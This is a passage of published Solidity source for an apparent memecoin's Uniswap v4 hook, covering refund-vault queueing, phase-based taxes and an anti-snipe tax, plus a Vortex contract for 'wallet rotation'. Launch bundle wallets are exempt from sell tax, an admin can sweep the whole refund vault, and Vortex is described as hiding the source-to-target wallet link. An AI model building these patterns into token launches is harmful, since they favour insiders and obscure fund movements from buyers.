    /// so ANY token movement (not just swaps) keeps the queue flowing.
    /// Skips when PoolManager is involved on either leg — those transfers
    /// are flash-loan-style balance manipulation (take/settle) and would
    /// let an attacker pass the hold check on artificially-inflated
    /// balances.
    function notifyTransfer(address from, address to, uint256 /*amount*/) external {
        if (msg.sender != token) revert NotToken();
        // Skip take()/settle() pattern transfers — PoolManager-driven balance
        // changes are within an unlock context, not real holding.
        if (from == poolManager || to == poolManager) return;
        // Reentrancy guard: silently skip if we're already draining.
        if (_notifyLock) return;
        _notifyLock = true;
        // Drain up to RING_DRAIN_PER_SWAP non-empty entries (same pattern
        // as _autoFlush — see notes there). Walks the ring so partial-fill
        // states still find real pendings.
        uint256 head = _ringHead;
        uint256 drained = 0;
        for (uint256 i = 0; i < RING_SIZE && drained < RING_DRAIN_PER_SWAP; i++) {
            uint256 idx = (head + i) % RING_SIZE;
            address u = _ring[idx];
            if (u == address(0)) continue;
            drained++;
            _tryFlushOne(u);
        }
        _notifyLock = false;
    }

    // F-DROPCLAIM (production-only — current testnet deploy still has these
    // functions): claim() and claim(address[]) removed. The auto-flush ring
    // (size 80, drain 16/swap) + token notifyTransfer handle 99%+ of cases
    // and were proven sufficient in bundle-3 (atomic-bundle 5 wallets drained
    // by single subsequent swap). Removing manual claim eliminates the
    // 'why is there a claim button if it auto-pays' UX problem and shrinks
    // the contract slightly. Edge cases (wallet never trades again) are
    // covered by anyone — including the dev — sending a single swap into
    // the pool, which auto-drains 16 ring entries permissionlessly.

    /// @notice View: ETH currently claimable RIGHT NOW for `user`. Returns
    /// 0 if any check would fail (no pending, not yet matured, holdings
    /// dropped below the bought amount, or vault dry). Frontends can use
    /// this to render a "Claim X ETH" button only when X > 0.
    function claimable(address user) external view returns (uint256) {
        Pending memory p = pending[user];
        if (p.refundWei == 0) return 0;
        if (block.number < p.maturity) return 0;
        uint256 bal = IERC20Minimal(token).balanceOf(user);
        if (bal < p.minHoldTok) return 0;
        if (_reservoir() < p.refundWei) return 0;
        return p.refundWei;
    }

    /// @notice View: the current ring buffer contents (recent buyers in
    /// auto-flush rotation). Returns ALL 80 slots — empty slots are zero.
    /// Front-end uses this + pending(addr) to render a live queue panel:
    ///   - count of non-zero entries  → "X wallets queued"
    ///   - sum of pending(addr).refundWei → "Y ETH waiting"
    /// Read-only, no side effects, no security exposure (recipients are
    /// already emittable from Tithed/Refunded events).
    function ringAddresses() external view returns (address[RING_SIZE] memory) {
        return _ring;
    }

    /// @notice View: current head index of the ring (next-write slot).
    /// Combined with ringAddresses(), lets a front-end render the queue
    /// in oldest→newest order. Cheap, public.
    function ringHead() external view returns (uint256) {
        return _ringHead;
    }

    // ──────────────────────────────────────────────────────────────────
    // Phase classification + ratchet
    // ──────────────────────────────────────────────────────────────────
    /// Phase is computed against the HIGHER of highWater and apexATH so that
    /// after a 15% retrace (which resets highWater to the recoil bottom) the
    /// phase still reflects distance from the historical apex.
    function _apex() internal view returns (uint256) {
        return apexATH > highWater ? apexATH : highWater;
    }

    function _classify(uint256 s) internal view returns (Phase) {
        uint256 ref = _apex();
        if (ref == 0 || s == 0) return Phase.NONE;
        uint256 crownLine = (ref * CROWN_ZONE_BPS) / 10_000;
        uint256 recoilLine = (ref * RECOIL_ZONE_BPS) / 10_000;
        if (s >= crownLine) return Phase.CROWN;
        if (s < recoilLine) return Phase.RECOIL;
        return Phase.MID;
    }

    function _isRecoil() internal view returns (bool) {
        return _classify(spot) == Phase.RECOIL;
    }

    function _refundBonusForBuy() internal view returns (uint256) {
        Phase p = _classify(spot);
        if (p == Phase.CROWN) return CROWN_BONUS_BPS;
        if (p == Phase.RECOIL) return RECOIL_BONUS_BPS;
        return 0;
    }

    /// Phase-based sell tax: crown 6%, recoil 12%, mid 3%.
    function _phaseSellBps() internal view returns (uint256) {
        Phase p = _classify(spot);
        if (p == Phase.RECOIL) return RECOIL_SELL_BPS;
        if (p == Phase.CROWN) return CROWN_SELL_BPS;
        return BASE_BPS;
    }

    /// Linearly decaying anti-snipe tax. Returns 3000 at the launch second,
    /// drops 100 bps every 60s, hits 0 at 1800s (30 min). Returns 0 before
    /// `genesis` is set.
    function ignitionBps() public view returns (uint256) {
        uint256 ts = genesis;
        if (ts == 0 || block.timestamp <= ts) return ts == 0 ? 0 : IGNITION_START_BPS;
        uint256 decay = ((block.timestamp - ts) / 60) * IGNITION_DECAY_PER_MIN;
        if (decay >= IGNITION_START_BPS) return 0;
        return IGNITION_START_BPS - decay;
    }

    /// Effective buy tax for `taxPayer` — `BASE_BPS` for knighted wallets
    /// or once ignition has decayed below the baseline; otherwise ignition.
    function _buyTax(address taxPayer) internal view returns (uint256) {
        if (knighted[taxPayer]) return BASE_BPS;
        uint256 lb = ignitionBps();
        return lb > BASE_BPS ? lb : BASE_BPS;
    }

    /// Effective sell tax — phase-based by default; raised to ignition tax
    /// for non-knighted wallets while it's still above the phase rate.
    /// Knighted wallets pay ZERO sell tax (rotation between bundle
    /// wallets is gas-only — they already paid the buy tax at launch,
    /// re-taxing the exit would be double-dipping the refund vault).
    function _sellTax(address taxPayer) internal view returns (uint256) {
        if (knighted[taxPayer]) return 0;
        uint256 phaseBps = _phaseSellBps();
        uint256 lb = ignitionBps();
        return lb > phaseBps ? lb : phaseBps;
    }

    /// A wallet is refund-eligible iff it's knighted or ignition has
    /// decayed to (or below) the baseline. Stops snipers from claiming
    /// refunds during the elevated-tax window.
    function _refundEligible(address taxPayer) internal view returns (bool) {
        if (knighted[taxPayer]) return true;
        return ignitionBps() <= BASE_BPS;
    }

    /// Min-ratchet: only bump highWater / Eclipsed on a meaningful swap.
    /// Symmetric guard on both sides.
    function _ratchet(uint256 swapEthAmount) internal {
        if (spot > highWater && swapEthAmount >= dustEth) {
            highWater = spot;
            emit Crowned(spot);
        }
        if (highWater > 0) {
            uint256 recoilThreshold = (highWater * RECOIL_TRIGGER_BPS) / 10_000;
            if (spot <= recoilThreshold && spot < highWater && swapEthAmount >= dustEth) {
                if (highWater > apexATH) {
                    apexATH = highWater;
                }
                emit Eclipsed(apexATH, spot);
                highWater = spot;
                recoilCount++;
            }
        }
    }

    function _sqrtToPrice(uint160 sqrtPriceX96) internal pure returns (uint256) {
        uint256 sp = uint256(sqrtPriceX96);
        uint256 reduced = sp >> 48;
        uint256 sqr = reduced * reduced;
        if (sqr == 0) return 0;
        return (uint256(1) << 224) / sqr;
    }

    // ──────────────────────────────────────────────────────────────────
    // Admin / view
    // ──────────────────────────────────────────────────────────────────
    /// @notice EMERGENCY-ONLY: withdraw `amount` wei from the hook to `to`.
    /// Callable only by `admin`. The hook balance IS the refund vault —
    /// every wei pulled out is refund budget removed from the protocol, so
    /// this is the wind-down lever for a dead token, not a routine claim.
    ///
    /// Amount semantics:
    ///  - `amount == type(uint256).max`: sweep full balance.
    ///  - `amount == 0`: revert (`Empty`).
    ///  - `amount > balance`: revert (`ExceedsBalance`) — no clamping.
    ///  - otherwise: send exactly `amount`.
    ///
    /// Security: admin-gated, zero-address rejected, reentrancy-locked,
    /// admin is immutable.
    function sweep(address to, uint256 amount) external {
        if (msg.sender != admin) revert NotAdmin();
        if (to == address(0)) revert ZeroAddress();
        if (_withdrawLock) revert Locked();
        uint256 bal = address(this).balance;
        if (amount == type(uint256).max) amount = bal;
        if (amount == 0) revert Empty();
        if (amount > bal) revert ExceedsBalance();
        _withdrawLock = true;
        (bool ok, ) = payable(to).call{value: amount}("");
        require(ok, "transfer failed");
        _withdrawLock = false;
        emit Swept(to, amount);
    }

    // F8: sentinel is always on — no setSentinel function. Same-block
    // buy-then-sell from the same tx.origin reverts unconditionally.

    function reservoir() external view returns (uint256) {
        return _reservoir();
    }

    /// View: current effective buy rate for an knighted wallet (or post-
    /// ignition). Negative = net refund.
    function buyBps() external view returns (int256) {
        Phase p = _classify(spot);
        if (p == Phase.CROWN) return -int256(CROWN_BONUS_BPS);
        if (p == Phase.RECOIL) return -int256(RECOIL_BONUS_BPS);
        return int256(BASE_BPS);
    }

    function sellBps() external view returns (int256) {
        return int256(_phaseSellBps());
    }

    function phase() external view returns (Phase) {
        return _classify(spot);
    }

    function apex() external view returns (uint256) {
        return _apex();
    }

    function snapshot() external view returns (
        uint256 _genesis,
        int256  _buyBps,
        int256  _sellBps,
        uint256 _spot,
        uint256 _highWater,
        uint256 _apexATH,
        uint256 _recoilCount,
        uint256 _reservoirEth,
        Phase   _phase,
        uint256 _apexRef,
        bool    _sentinelActive,  // F8: always true; field kept for ABI compat
        uint256 _ignitionBps
    ) {
        Phase p = _classify(spot);
        int256 bbps;
        if (p == Phase.CROWN) bbps = -int256(CROWN_BONUS_BPS);
        else if (p == Phase.RECOIL) bbps = -int256(RECOIL_BONUS_BPS);
        else bbps = int256(BASE_BPS);
        int256 sbps = int256(_phaseSellBps());
        return (
            genesis, bbps, sbps, spot, highWater, apexATH,
            recoilCount, _reservoir(), p, _apex(),
            true, ignitionBps()
        );
    }
}

Vortex.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/// @title Vortex — single-use ETH portal for atomic wallet rotation.
/// @notice Deploy a fresh instance via CREATE2 per rotation. Anyone with the
/// matching `key` for a given `to` address can drain the contract's full ETH
/// balance to `to`. The seal is `keccak256(abi.encode(key, to))`, computed
/// off-chain at deploy time, so only the holder of `key` + the intended `to`
/// can pierce it. After piercing, the contract is empty and economically dead.
///
/// On-chain trail: source funds Vortex, target receives ETH from Vortex. The
/// source ↔ target link is hidden behind a one-shot, address-unique contract.
contract Vortex {
    /// @dev Seal commits to (key, to) at construction so the redeem can be
    /// authorized by anyone knowing both — typically the source EOA that
    /// generated the key for a chosen `to`.
    bytes32 private immutable seal;

    error InvalidKey();
    error EmptyVortex();
    error TransferFailed();

    event Drained(address indexed to, uint256 amount);

    constructor(bytes32 _seal) payable {
        seal = _seal;
    }

    /// @dev Plain ETH receive — anyone can fund the vortex prior to piercing.
    receive() external payable {}

    /// @notice Drain the entire ETH balance to `to`. Anyone may call provided
    /// they present `key` such that `keccak256(abi.encode(key, to)) == seal`.
    /// @param key the secret committed at deploy time (with `to`).
    /// @param to recipient of the ETH; must match the address baked into seal.
    function pierce(bytes32 key, address payable to) external {
        if (keccak256(abi.encode(key, to)) != seal) revert InvalidKey();
        uint256 bal = address(this).balance;
        if (bal == 0) revert EmptyVortex();
        (bool ok, ) = to.call{value: bal}("");
        if (!ok) revert TransferFailed();
        emit Drained(to, bal);
    }
}
Compiler settingsShow
{
  "viaIR": true,
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.